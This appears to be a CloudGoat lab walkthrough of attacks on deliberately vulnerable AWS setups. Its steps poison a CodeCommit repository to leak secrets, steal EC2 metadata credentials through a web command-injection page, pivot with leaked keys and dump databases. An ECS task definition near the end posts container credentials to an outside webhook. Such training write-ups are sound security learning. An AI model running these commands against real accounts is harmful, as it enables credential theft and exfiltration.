    }
}

The permissions let use view the codecommit repository and two codebuild pipelines

With viewing the logs we can see everytime the lambda function triggers (same as our curl request).

aws logs describe-log-groups

aws logs describe-log-streams --log-group-name /aws/lambda/backend-api

aws logs get-log-events --log-group-name /aws/lambda/backend-api --log-stream-name '2023/08/31/[$LATEST]bd123057b7664f599b0c8a0c15ad3718'

Now we need to commit our change to the repo.

With the permissions the developer iam user has we cannot commit but we can put a file.

First lets update the app.py file to log the secrets.

  print(body)
  return 200, "OK" 

Printing the body will expose the parameters that were passed in before the

aws codecommit put-file \
    --repository-name backend-api \
    --branch-name master \
    --file-content fileb://app.py \
    --file-path app.py \
    --parent-commit-id 4fcbec26907904e027d5a20a1f3d0d52d8140158 \
    --commit-message "Oops secrets"

Get the parent commit id from this command

aws codecommit get-branch --repository-name backend-api --branch-name master
# {
#     "branch": {
#         "branchName": "master",
#         "commitId": "4fcbec26907904e027d5a20a1f3d0d52d8140158"
#     }
# }

Once its commit it may take a minute and then the function should be updated.

Lets look at the cloudwatch lgos again

aws logs get-log-events --log-group-name /aws/lambda/backend-api --log-stream-name '2023/08/31/[$LATEST]71be94270ddd4a359f06b08811701c42'
# {
#     "events": [
#         {
#             "timestamp": 1693489820451,
#             "message": "START RequestId: 672de708-f239-4315-9a42-1123bd1c8615 Version: $LATEST\n",
#             "ingestionTime": 1693489823390
#         },
#         {
#             "timestamp": 1693489820452,
#             "message": "superSecretData=FLAG{SupplyCh4!nS3curityM4tt3r5\"}\n",
#             "ingestionTime": 1693489823390
#         }
#     ]
# }

There go the flag! 🎉

Cleanup

Remove the changes from $HOME/.ssh/config

rm cicd_id_rsa
rm -rf backend-api

./cloudgoat.py destroy cicd

Hard

RCE Web App

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/rce_web_app/README.md

In this scenario there are two paths to attach “Lara” and “McDuck”. I will be taking the Lara path.

./cloudgoat.py create rce_web_app
# cloudgoat_output_lara_access_key_id = AKIAZ6IIT5XU5WP65Z6O
# cloudgoat_output_lara_secret_key = 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
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XU5WP65Z6O
export AWS_SECRET_ACCESS_KEY=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

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XU6PCMSDHZ3",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/lara"
# }

Permission check time

aws iam list-attached-user-policies --user-name lara
aws iam list-user-policies --user-name lara
# No Access

aws ec2 describe-instances
# {....}

aws s3 ls
# 2023-08-31 15:19:14 cg-keystore-s3-bucket-rce-web-app-cgidsydjip4kt4
# 2023-08-31 15:19:14 cg-logs-s3-bucket-rce-web-app-cgidsydjip4kt4
# 2023-08-31 15:19:15 cg-secret-s3-bucket-rce-web-app-cgidsydjip4kt4

Were able to see EC2 instances and S3 buckets

Poking at the S3 buckets we can only view cg-logs-s3-bucket-rce-web-app-cgidsydjip4kt4

aws s3 ls cg-logs-s3-bucket-rce-web-app-cgidsydjip4kt4
# PRE cg-lb-logs/

# Following the "path"
aws s3 ls cg-logs-s3-bucket-rce-web-app-cgidsydjip4kt4/cg-lb-logs/AWSLogs/0123456789/
#                            PRE elasticloadbalancing/
# 2023-08-31 15:21:09        107 ELBAccessLogTestFile

aws s3 ls cg-logs-s3-bucket-rce-web-app-cgidsydjip4kt4/cg-lb-logs/AWSLogs/0123456789/elasticloadbalancing/us-east-1/2019/06/19/
# 2023-08-31 15:19:15      18367 555555555555_elasticloadbalancing_us-east-1_app.cg-lb-cgidp347lhz47g.d36d4f13b73c2fe7_20190618T2140Z_10.10.10.100_5m9btchz.log

aws s3 cp s3://cg-logs-s3-bucket-rce-web-app-cgidsydjip4kt4/cg-lb-logs/AWSLogs/0123456789/elasticloadbalancing/us-east-1/2019/06/19/555555555555_elasticloadbalancing_us-east-1_app.cg-lb-cgidp347lhz47g.d36d4f13b73c2fe7_20190618T2140Z_10.10.10.100_5m9btchz.log cloudgoat_rce.log

Were able to find a log from the load balancer. From the log were able to get the load balancer address http://cg-lb-cgidp347lhz47g-1116874442.us-east-1.elb.amazonaws.com. Additionally the file contains the targetgroup arn arn:aws:elasticloadbalancing:us-east-1:555555555555:targetgroup/cg-target-group-cgidp347lhz47g/a5700c43a71e4c94, it might be a template based on the hard coded account id.

Domain does not seem to be active, maybe there both hard coded.

Verifying that running the following aws command it verifies that the domain name is different.

aws elbv2 describe-load-balancers
# cg-lb-rce-web-app-cgidsydjip4kt4-399610833.us-east-1.elb.amazonaws.com

Opening the website its real 🙏, maybe some of the paths from the log file.

  • favicon.ico (Webpage icon)
  • bootstrap.css (CSS file)
  • mkja1xijqf0abo1h9glg.html (Hmmm)

When visiting http://cg-lb-rce-web-app-cgidsydjip4kt4-399610833.us-east-1.elb.amazonaws.com/mkja1xijqf0abo1h9glg.html it has custom input field to put in our login command.

View of the websites secret page

Putting in a shell command ls and running it returns the contents of a linux filesystem.

On a quick search of the filesystem nothing is found, maybe we can steal AWS credentials from the metadata server.

curl 169.254.169.254/latest/meta-data/iam/security-credentials/
# cg-ec2-role-rce_web_app_cgidsydjip4kt4

curl 169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-rce_web_app_cgidsydjip4kt4/
# {...}

Bingo we got new credentials from the role. Lets move them to our local shell and see what access we not have.

export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XURHFGLFEL
export AWS_SECRET_ACCESS_KEY=2yXk4AbYhW5/1I9st25Nd3by654uRy4Jg22Z/njX
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEBQaCXVzLWVhc3QtMSJHMEUCIBKGWCE7pkDw1JW5fVCzEOuN4L3Gs2j3H8Udr/0qE4UGAiEAxAal1HdNW+plvP+B5T3k9pRr5YoxKuTrN5zE4kv8oFYqwgUI3f//////////ARACGgw2ODM0NTQ3NTQyODEiDOmZx3u9n95HKUOAFiqWBY3CKrWQBCC0TVdup5sKTDTOByOCo3QALDWC5YEPumPRkM6qI52pUrtS+r2OZcmXNhlL81DgHRw1QlA/mbdEgnxYdQ9h9+GD++R3DiNSf/0iM2P2u04q91oy+tSiTYJMIUIssWoRv7XMqdivmdxKvjTsazljqfNLb1IF2LEugOjv1h2SHeE+vRj2aba/MvnIpSfNGjFQ4OdxbADlWrIGpt9LGBK54YJHWML1rCJM7CpboEajjz9G66vgr9fwWCisOkHcZzSdDS90Xbr1RQOpEWNF0ohYQXfQCnzDHpne16EhveEN97c1y87zKk581/SzU6BO8BzptP2d6anWTE+vn54JOjxeeOW3NdqcfoqnRKVzjth3yQoct/n3tub0HQstuTrYx3M4hJz3TYXdNCeJRFBqk85fWoXF0T7G+20d93AxaYXodBXvKrEmvHxQchQyUAqPYC2YAi4K5LewcSvhP4lM8i0ODYx+U2cGM8B/klyMtNy5la02bs3/U71J7EK6R8uFF1+Xvt1m0TcnTjvj4toVeyKPnQ+EbQC2CiEQ5o2+CfPHTA6kfVs559LlUaelVeV3UU9JQ9X9694CUcIysG3WDS/SzbqWARC1iQARTgMLlT38DvLYpJpUzC7kQluPm9F9kyhwlLV5UXkTH5psC1z2CA2KmFMjeU6myDZjyrDPXWCrFbqg4/Jz4EF0gLhKRNaNgVwcchwOZDJbS7IJRrAxisM/hCLnVL2kmblfCuBVT78TndV4fZySuaKsFAl4k7WTBn2kHYYoCykaYB9vGDonMV9be7QeDC0N9aJ5ZVRng+zcvMlBQHVb92bml0iqQ+FnzKObRpslS/JGYncXh9Af9bMSs6WhvTDW/CwSLV492iX/SB69MN7Rw6cGOrEBk8WA6ByHj/FoTUYHCwxXl5GDV6BQujmHf0FjTMufJufvpYL6TNzgJl2P8pXCw8YiTovEY/2Sr38uFbl86aN0Z0zdwMijwxQFu18VgPo8kjxON3JRlhLn5ytHTnesiDXm4X7TETnwKOGdZTvC2Z5g/dAhq6ouYnLnIofaQrHio6+odCeioijMM5/+WFQeuTysRjr38QjanftFarGnpe1sHqc6G4JXEPFgyzPEVZKyiu2o

aws sts get-caller-identity
# {
#     "UserId": "AROAZ6IIT5XU54ZQLYLYV:i-0c9ca8a8252a2f626",
#     "Account": "0123456789",
#     "Arn": "arn:aws:sts::0123456789:assumed-role/cg-ec2-role-rce_web_app_cgidsydjip4kt4/i-0c9ca8a8252a2f626"
# }

aws iam list-attached-role-policies --role-name cg-ec2-role-rce_web_app_cgidsydjip4kt4
# Nope

aws ec2 describe-instances
# Get all servers

aws rds describe-db-clusters
# Nope

aws s3 ls '{...}'

Were able to now view all of the files in the buckets.

aws s3 ls cg-secret-s3-bucket-rce-web-app-cgidsydjip4kt4
# 2023-08-31 15:19:16        282 db.txt

aws s3 cp s3://cg-secret-s3-bucket-rce-web-app-cgidsydjip4kt4/db.txt cloudgoat_db.txt

cat cloudgoat_db.txt
# Dear Tomas - For the LAST TIME, here are the database credentials. Save them to your password manager, and delete this file when you've done so! This is definitely in breach of our security policies!!!!

# DB name: cloudgoat
# Username: cgadmin
# Password: Purplepwny2029

# Sincerely,
# Lara

Mmmm credentials

Whats in the other bucket

aws s3 ls cg-keystore-s3-bucket-rce-web-app-cgidsydjip4kt4
# 2023-08-31 15:19:15       3389 cloudgoat
# 2023-08-31 15:19:15        748 cloudgoat.pub

aws s3 cp s3://cg-keystore-s3-bucket-rce-web-app-cgidsydjip4kt4/cloudgoat cloudgoat_cloudgoat.key

cat cloudgoat_cloudgoat.key
# Private Key

This seems to be another way to access to server that we exploited with the RCE.

Lets try to connect to the RDS server. We don’t know the endpoint for the database… (Was trying aws rds describe-db-clusters)

aws rds describe-db-instances
# "Address": "cg-rds-instance-rce-web-app-cgidsydjip4kt4.cjjmy1nlvb2o.us-east-1.rds.amazonaws.com"
PGPASSWORD=Purplepwny2029 psql -h cg-rds-instance-rce-web-app-cgidsydjip4kt4.cjjmy1nlvb2o.us-east-1.rds.amazonaws.com -p 5432 -d cloudgoat -U cgadmin

Times out, it looks like we have to be in the same network.

With the private key we stole from S3 lets try SSHing into the web server.

chmod 400 cloudgoat_cloudgoat.key

ssh [email protected] -i cloudgoat_cloudgoat.key

PGPASSWORD=Purplepwny2029 psql -h cg-rds-instance-rce-web-app-cgidsydjip4kt4.cjjmy1nlvb2o.us-east-1.rds.amazonaws.com -p 5432 -d cloudgoat -U cgadmin
# cloudgoat=>

Sweet we now have a connection to the database

To list tables run the postgres command \dt this lists all tables.

                List of relations
 Schema |         Name          | Type  |  Owner
--------+-----------------------+-------+---------
 public | sensitive_information | table | cgadmin
(1 row)

Lets list all the secrets 😋

SELECT * FROM sensitive_information;

         name          |           value
-----------------------+----------------------------
 Super-secret-passcode | V!C70RY-4hy2809gnbv40h8g4b
(1 row)

Use \q to exit

Cleaup
rm cloudgoat_cloudgoat.key cloudgoat_db.txt cloudgoat_rce.log

./cloudgoat.py destroy rce_web_app

CodeBuild Secrets

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/codebuild_secrets/README.md

./cloudgoat.py create codebuild_secrets
# cloudgoat_output_solo_access_key_id = AKIAZ6IIT5XU4ABDWNMT
# cloudgoat_output_solo_secret_key = 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
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XU4ABDWNMT
export AWS_SECRET_ACCESS_KEY=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

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XU25PFYOWV7",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/solo"
# }

Enumeration time

aws iam list-attached-user-policies --user-name solo
aws iam list-user-policies --user-name solo
# No Access

aws ec2 describe-instances
# "InstanceId": "i-02f93531fde363427"
# "PublicIpAddress": "54.174.182.46"
# "Arn": "arn:aws:iam::0123456789:instance-profile/cg-ec2-instance-profile-codebuild_secrets_cgidqzqvluvj2d"

aws codebuild list-projects
# {
#     "projects": [
#         "cg-codebuild-codebuild_secrets_cgidqzqvluvj2d"
#     ]
# }

Lets look into the CodeBuild project more

aws codebuild batch-get-projects --names cg-codebuild-codebuild_secrets_cgidqzqvluvj2d
# "environmentVariables": [
#     {
#         "name": "calrissian-aws-access-key",
#         "value": "AKIAZ6IIT5XUZ6Q372EF",
#         "type": "PLAINTEXT"
#     },
#     {
#         "name": "calrissian-aws-secret-key",
#         "value": "bGWrVopD4bzloVyBwPfzsNVxXTlew3Rf1TTYBtTC",
#         "type": "PLAINTEXT"
#     }
# ]

Time to pivot

export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XUZ6Q372EF
export AWS_SECRET_ACCESS_KEY=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

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XUUEX3LKAVD",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/calrissian"
# }

aws rds describe-db-instances
# "DBInstanceIdentifier": "cg-rds-instance-codebuild-secrets-cgidqzqvluvj2d"
# "MasterUsername": "cgadmin"
# "Address": "cg-rds-instance-codebuild-secrets-cgidqzqvluvj2d.cjjmy1nlvb2o.us-east-1.rds.amazonaws.com"

Note that there is another way to get the keys by creating another DB that we have credentials for. The path is simallar to to CloudGoat RDS Snapshot.

Back in the solo shell

aws ssm describe-parameters
# "Name": "cg-ec2-private-key-codebuild_secrets_cgidqzqvluvj2d"
# "Name": "cg-ec2-public-key-codebuild_secrets_cgidqzqvluvj2d"

aws ssm get-parameter --name cg-ec2-private-key-codebuild_secrets_cgidqzqvluvj2d
# "-----BEGIN OPENSSH PRIVATE KEY-----.....

# Put the key into a file
# chmod 400 cloudgoat_codebuild.key
ssh [email protected] -i cloudgoat_codebuild.key
curl 169.254.169.254/latest/meta-data/iam/security-credentials/
# cg-ec2-role-codebuild_secrets_cgidqzqvluvj2d

curl 169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-codebuild_secrets_cgidqzqvluvj2d/
# {...}

Bring the credentials back to our machine

export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU3VTV5ROL
export AWS_SECRET_ACCESS_KEY=tH/D4FsFNgAQQ6PKZHrQZDVAC92PoKnxKFQGoaD7
export AWS_SESSION_TOKEN=IQoJb3JpZ2lu......yP8WMIR1zZaio=

aws lambda list-functions
# "FunctionName": "cg-lambda-codebuild_secrets_cgidqzqvluvj2d"
# "Environment": {
#     "Variables": {
#         "DB_USER": "cgadmin",
#         "DB_NAME": "securedb",
#         "DB_PASSWORD": "wagrrrrwwgahhhhwwwrrggawwwwwwrr"
#     }
# }

Back to our SSH terminal

psql -h cg-rds-instance-codebuild-secrets-cgidqzqvluvj2d.cjjmy1nlvb2o.us-east-1.rds.amazonaws.com -p 5432 -d securedb -U cgadmin
# Password for user cgadmin: *wagrrrrwwgahhhhwwwrrggawwwwwwrr*
# securedb=>

\dt
#  Schema |         Name          | Type  |  Owner
# --------+-----------------------+-------+---------
#  public | sensitive_information | table | cgadmin

SELECT * FROM sensitive_information;
#  name |                   value
# ------+--------------------------------------------
#  Key1 | V\!C70RY-PvyOSDptpOVNX2JDS9K9jVetC1xI4gMO4
#  Key2 | V\!C70RY-JpZFReKtvUiWuhyPGF20m4SDYJtOTxws6

Were done!

Side note but we could also get the flags from the EC2 user-data. That cheating

Cleaup
rm cloudgoat_codebuild.key

./cloudgoat.py destroy codebuild_secrets

Detection Evasion

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/detection_evasion/README.md

./cloudgoat.py create detection_evasion
# Give an email for alerts

# user1_access_key_id = AKIAZ6IIT5XU544BKPGO
# user1_secret_key = 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
# user2_access_key_id = AKIAZ6IIT5XURJH7PA4H
# user2_secret_key = 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
# user3_access_key_id = AKIAZ6IIT5XU7WVVI3UJ
# user3_secret_key = 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
# user4_access_key_id = AKIAZ6IIT5XU3ZUVTRET
# user4_secret_key = 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

Oooo thats a lot of access keys…

Wait 30-60 minutes before working on the scenario 💀

Lets start with the user1 credentials

export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XU544BKPGO
export AWS_SECRET_ACCESS_KEY=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

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XUWCWRKSEVU",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/canarytokens.com@@kz9r8ouqnhve4zs1yi4bzspzz"
# }

Welp looks like that may have been a trap, canarytokens are used to alert when something gets accessed.

Lets try another user (user2)

export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XURJH7PA4H
export AWS_SECRET_ACCESS_KEY=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

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XUY2TOOZKS6",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/SpaceCrab/l_salander"
# }

Ahh SpaceCrab another honeypot tool, next (user3)

export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XU7WVVI3UJ
export AWS_SECRET_ACCESS_KEY=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

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XUXCBE7BYJF",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/cd1fceca-e751-4c1b-83e4-78d309063830"
# }

Does not emidatly look like a honeypot. (Edit: it is a spacesiren token) Lets try to check for permissions.

Did not find any easy permissions lets look at the last user (user4)

export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XU3ZUVTRET
export AWS_SECRET_ACCESS_KEY=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

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XURZZSN27F6",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/r_waterhouse"
# }

aws secretsmanager list-secrets
# "ARN": "arn:aws:secretsmanager:us-east-1:0123456789:​secret:detection_evasion_cgidtx0yaufckc_easy_secret-wTUWWB"
# "Description": "This is the final secret for the 'easy' path of the detection_evasion cloudgoat scenario."

# "ARN": "arn:aws:secretsmanager:us-east-1:0123456789:​secret:detection_evasion_cgidtx0yaufckc_hard_secret-v2RUEa"
# "Description": "This is the final secret for the 'hard' path of the detection_evasion cloudgoat scenario."

aws ec2 describe-instances
# easy_path-cg-detection-evasion
# "InstanceId": "i-0a5662a1841f2e249"
# "PublicIpAddress": "54.157.178.32"
# "Arn": "arn:aws:iam::0123456789:instance-profile/detection_evasion_cgidtx0yaufckc_easy"

# hard_path-cg-detection-evasion
# "InstanceId": "i-073e279bd36edb486"
# "PrivateIpAddress": "3.84.104.50"
# "Arn": "arn:aws:iam::0123456789:instance-profile/detection_evasion_cgidtx0yaufckc_hard"

Lets look at the hard path, because I can always chicken out and switch to easy.

aws secretsmanager get-secret-value --secret-id detection_evasion_cgidtx0yaufckc_hard_secret-v2RUEa
# No Access

aws ssm start-session --target i-073e279bd36edb486
# sh-4.2$

We got a shell lets grab creds from the metadata server

curl 169.254.169.254/latest/meta-data/iam/security-credentials/
# detection_evasion_cgidtx0yaufckc_hard

curl 169.254.169.254/latest/meta-data/iam/security-credentials/detection_evasion_cgidtx0yaufckc_hard/
# {...}

Lets bring the keys back to our machine

export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XUUAINVOVF
export AWS_SECRET_ACCESS_KEY=15hywCoo47wDVgYFJ7Tz6Sciqr0/6FYAVmluKtqP
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjECoaCXVzLWVhc3QtMSJHMEUCIQDQJL1doj+Lpq2PRRJ2lUFkW8x+/rZkeUM45RxVx/MkqAIgZwbEzuGlqCDmDroypySVgMcJk8nw+t7iWRRWfbLQtjkqwwUI8///////////ARACGgw2ODM0NTQ3NTQyODEiDGJ/AmEgNPugwm6yKCqXBSnMfYXCGrByVnn+gipDFkxOO4ip451fkli1JipSt3M0f1gLYjjgSVaPBQAImtam01WnfeAsSIWWQrg8lwASnu2pAHmH3RWYPD0vvyWEtO1mWtQ6omwmAE9MlDNIx5m9lZ7iS2qTSdLnRSfb31CqRCCJOFPGsuuBV8KUWDBJXQRpnefPCMHBBJ1n/T/ORC5iIllgYK1fWN9mqG5S40QjZkDceaGV1G9esS3p0FGs/fDPoYy+F7p6vU1ti5tNRrg6pcnokv+6pHUNuWDa/gYzFhQnVBRcN4PR/7h9SnpPbsiOdWfnml5SuYyi7ndkMHBo78kgqpSBRBSDfBMNW3PB/MOJgBE3Neq1jj9m/xknzFPLqoS9EjK3+vxqi2NkbPWZx7ge8mzScVY8hUUcUy97TsYke5sjjyksIKuGX21ZurkfUiwZnomux7uMt194ouyiDKGX+DIAas8fs++uATVbXmIUzg5HeTgDN4CuPJ5EFuMauu4E/OyCnx1K1l0JLgcn3iDEvjuNCdpiQKoPrw8eUT3Uc4iLP7jYnAH6h4fxYTSQTsM9p2QGnGwqIyhPFINLgZkiZojSR8eJM3dsSMXTpH4u25dX/68NBitzhjdEyvkWbKxcD5u8I479v1BbKTt3TZeRRPZIYX34O+X9PJoJOwUII2xFPbxAMfEhSKlmP2UXVV3J6LlpDKZq3WJGSoCrM+YgnyEvEWJxo9DKc5rM32MwNp36t84Y9i1pahtf40SPU9P2Ez9gHul8rVhIZ1/8wkAJwfFXB8taPikHfCoR3nVFZkrG2z/y9p3Fuq8TmC8Ezjd2ZBitnQNsUV+oLonqnrrlhfPa9ZNWcPpBL83H9c0fyWZnm4B5hsoxVqxWmjJ0W7J75tQtBDCgxMinBjqxAcQL2TBSsg2vFAa5+TrdDQVUaqlWoRF1FTifqhryZiN833Z4pJIlSAwcE9xk9DHoACJFgGBn9X/NPRYfvYOwqkZMD/NCjHUQRWc+5gFN8k48GsDx9mAS/by2NM7bC5NSxsCm3JyMV70YjFj64OD8d+GLbRK7kVbFbTz1nECygkcN0JPFDaEm81W3LSEanBQlIZmMtnjiq0L/2uGhaqEvBGt2Llf/VemPArsaLFWQ3eITuw==

aws sts get-caller-identity
# {
#     "UserId": "AROAZ6IIT5XUTVMAFRREV:i-073e279bd36edb486",
#     "Account": "0123456789",
#     "Arn": "arn:aws:sts::0123456789:assumed-role/detection_evasion_cgidtx0yaufckc_hard/i-073e279bd36edb486"
# }

Tryed to retrieve the secret from my local machine set off a alert because it was not coming from inside AWS.

Doing some digging (ref) into this we need to spoof our AWS IP address to be the same 3.84.104.50. That sounds like a lot of work, lets switch to the easy path.

# user4
aws ssm start-session --target i-0a5662a1841f2e249
# sh-4.2$

curl 169.254.169.254/latest/meta-data/iam/security-credentials/
# detection_evasion_cgidtx0yaufckc_easy

curl 169.254.169.254/latest/meta-data/iam/security-credentials/detection_evasion_cgidtx0yaufckc_easy/
export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XUTZWPPAF4
export AWS_SECRET_ACCESS_KEY=evGXX265UJuX0PkRYtBIwFLKXw3Jx8BWisBPT8fs
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjECoaCXVzLWVhc3QtMSJHMEUCIHgNE3/ztA2Zg6y2mwqh4kqUxqTsMA0OYUFo0PPojLlCAiEAnXL80ofvUMptp+eJRbkZRvpu0vVS2C00ILRCoJtTbEcqxAUI8///////////ARACGgw2ODM0NTQ3NTQyODEiDBuAi5myy4BxRJ2qrSqYBTnGH4GyNGkSTdjiz9Z4dfDvWlseZm79o4PQCsVXm5c81Auzdr8O9ajsvFyd6nH80onL/BU/a6Lo7vtSpBLZVJ1VZJFWqbPIl8V/3grtDpxhWtTxNiygwjfEg45/BGx6ewC3uTtijlvXDM6O7gMx8YU168r1XJrMepdLKiLgZ5WJPsP8KD6X3Y3rG/XPai8EyS0I7xvB9UFtNCjr+og4DJd3DNqS7Cg2/rtFBpx8eUQMPMDsSSNlVv4IzhoCn4EKJL6OA+EZButWrb0bDpcyBRAUICeX1MATwRkEM/2f62ZrjQN1QJgmmOOSvkjbNmu7oJ7WtuXLfWjJUNdeTWj5i/EYwpD7tj+ziUChiobBIcrR37HCweKAkUI/+zGA20hSHMyENnUK5833yVK90XxPx4vsU1pEmsHiRbu4eHQSELMP2FXGFAq9eQj06IeIbsmeKUn0r59OrGBlby5etY3nGgbAKPyQkW/z+efV0SHsWHtTZsNVhHILVDaJeabfazoXqmmVGqUfSY4gwEbgKIWcLPhJeZ8lRPk7btSXMJIlbsKwDgD6glyRewkeHRgvJyhHpvJ5pEeiHiz3pNd4tn0NJoBZCkz5a05WJQ5DUv3/tZSUw8+ix0ESRz8A8IFL9lb+adTBSp1pco0hn45mivX0P3A1vLIDT/1CSFz9iojgwzhV+ovxPgKv1pXjP+8tCgIFa2moJOqlQu45bXrLUg7LOdMGZSHhHqrardxzjGzrTuCH0RPJ/8dzaBVPR8i/Mlsn4niGBA6MKDvutvop1uNnZWE/L1JpDMdsclDOUAarVvYvcYeKAt8G4O4CYOjrjauPcd7etbT0CMOP9qdr6ArGfD9bpshqr90Z59cigGr6ApMrM0cdQ/Ka65sw18fIpwY6sQGm1qBwJoytsiB3OJB+0ymCWUHYiZlZCEwPFMund2Q3i/kv6T1d7WJIc+zf/wdcArJNxRhHaDbArzCCXEgYYrxwEg4Az9bVCjRT5HPNvZ7rwN+2y2J/ImaZKKqQP5/iADXJEUwC7k6Hf09I5kLQO7c36eU0FMntrj4t69KSrV4IgnL+N2GwJf1vvaysKRQw9r6IfQcbGrZy43VuPHs0aVqESwwOa+paGeCwmIzKA1iTMts=

aws secretsmanager get-secret-value --secret-id detection_evasion_cgidtx0yaufckc_easy_secret-wTUWWB
# No access

Probably have to do it from the EC2 server

sudo yum install -y awscli
# .....

It does not have internet access ug. The module seems broken, let me go fix that…

I have an open PR to fix this issue, there was no internet gateway in the VPC so all out bound communication will not work.

Cleaup
./cloudgoat.py destroy detection_evasion

ECS EFS Attack

https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/ecs_efs_attack

./cloudgoat.py create ecs_efs_attack
# ruse_box_IP = 54.242.220.178
# ssh_command = ssh -i cloudgoat ubuntu@\54.242.220.178
chmod 600 ecs_efs_attack_cgidc5gnv28rje/cloudgoat

ssh [email protected] -i ecs_efs_attack_cgidc5gnv28rje/cloudgoat
# ubuntu@ip-10-10-10-110:~$

From the server lets enumirate the AWS credentials

aws sts get-caller-identity
# {
#     "UserId": "AROAZ6IIT5XU2GVVQMWIP:i-042fff5ccb55f5c75",
#     "Account": "0123456789",
#     "Arn": "arn:aws:sts::0123456789:assumed-role/cg-ec2-role-ecs_efs_attack_cgidc5gnv28rje/i-042fff5ccb55f5c75"
# }

aws iam list-roles
# cg-ec2-role-ecs_efs_attack_cgidc5gnv28rje
# cg-ecs-role-ecs_efs_attack_cgidc5gnv28rje
# cg-efs-admin-role-ecs_efs_attack_cgidc5gnv28rje
# cg-lambda-role-ecs_efs_attack_cgidc5gnv28rje

aws iam list-role-policies --role-name cg-ec2-role-ecs_efs_attack_cgidc5gnv28rje
# None

aws iam list-attached-role-policies --role-name cg-ec2-role-ecs_efs_attack_cgidc5gnv28rje
# AmazonSSMManagedInstanceCore
# cg-ec2-ruse-role-policy-ecs_efs_attack_cgidc5gnv28rje

aws iam list-policy-versions --policy-arn arn:aws:iam::0123456789:policy/cg-ec2-ruse-role-policy-ecs_efs_attack_cgidc5gnv28rje
# V1

aws iam get-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg-ec2-ruse-role-policy-ecs_efs_attack_cgidc5gnv28rje --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "ecs:Describe*",
                        "ecs:List*",
                        "ecs:RegisterTaskDefinition",
                        "ecs:UpdateService",
                        "iam:PassRole",
                        "iam:List*",
                        "iam:Get*",
                        "ec2:CreateTags",
                        "ec2:DescribeInstances",
                        "ec2:DescribeImages",
                        "ec2:DescribeTags",
                        "ec2:DescribeSnapshots"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "VisualEditor0"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2023-09-03T21:43:56+00:00"
    }
}

What I notice with the policy is that it might allow the changing of iam roles on a ECS service through task definition.

Lets first look at ECS & EC2 resources

aws ec2 describe-instances
# "cg-admin-ec2-ecs_efs_attack_cgidc5gnv28rje"
# "InstanceId": "i-0163945fb3d1622be"
# "PublicIpAddress": "54.225.61.89"
# "Arn": "arn:aws:iam::0123456789:instance-profile/cg-efs-admin-instance-profile-ecs_efs_attack_cgidc5gnv28rje"

# # Our Server
# "cg-ruse-ec2-ecs_efs_attack_cgidc5gnv28rje"
# "ImageId": "ami-0a313d6098716f372"
# "PublicIpAddress": "54.242.220.178"
# "Arn": "arn:aws:iam::0123456789:instance-profile/cg-ecsTaskExecutionRole-instance-profile-ecs_efs_attack_cgidc5gnv28rje"
aws ecs list-clusters
# "clusterArns": [
#     "arn:aws:ecs:us-east-1:0123456789:cluster/cg-cluster-ecs_efs_attack_cgidc5gnv28rje"
# ]

aws ecs list-task-definitions
# "taskDefinitionArns": [
#     "arn:aws:ecs:us-east-1:0123456789:task-definition/webapp:2"
# ]

Lets update a running task definition that will capture the credentials of the task.

Find which clusters how nodes one them

aws ecs list-container-instances --cluster cg-cluster-ecs_efs_attack_cgidc5gnv28rje
# Service 1
# 1 Running task

First create a file (cloudgoat_ecs_efs_attack_creds.json) with the following json

{
    "containerDefinitions": [
        {
            "name": "webapp",
            "image": "busybox",
            "cpu": 128,
            "memory": 128,
            "memoryReservation": 64,
            "portMappings": [
                {
                    "containerPort": 80,
                    "hostPort": 80,
                    "protocol": "tcp"
                }
            ],
            "essential": true,
            "command": [],
            "entryPoint": [
                "/bin/sh",
                "-c",
                "wget -O- --header='Content-Type:application/json' https://webhook.site/931d6922-0c4c-4002-8afe-f41330b03b12 --post-data=`wget -O- 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)`"
            ],
            "environment": [],
            "mountPoints": [],
            "volumesFrom": []
        }
    ],
    "family": "webapp",
    "taskRoleArn": "arn:aws:iam::0123456789:role/cg-ecs-role-ecs_efs_attack_cgidc5gnv28rje",
    "executionRoleArn": "arn:aws:iam::0123456789:role/cg-ecs-role-ecs_efs_attack_cgidc5gnv28rje",
    "networkMode": "awsvpc",
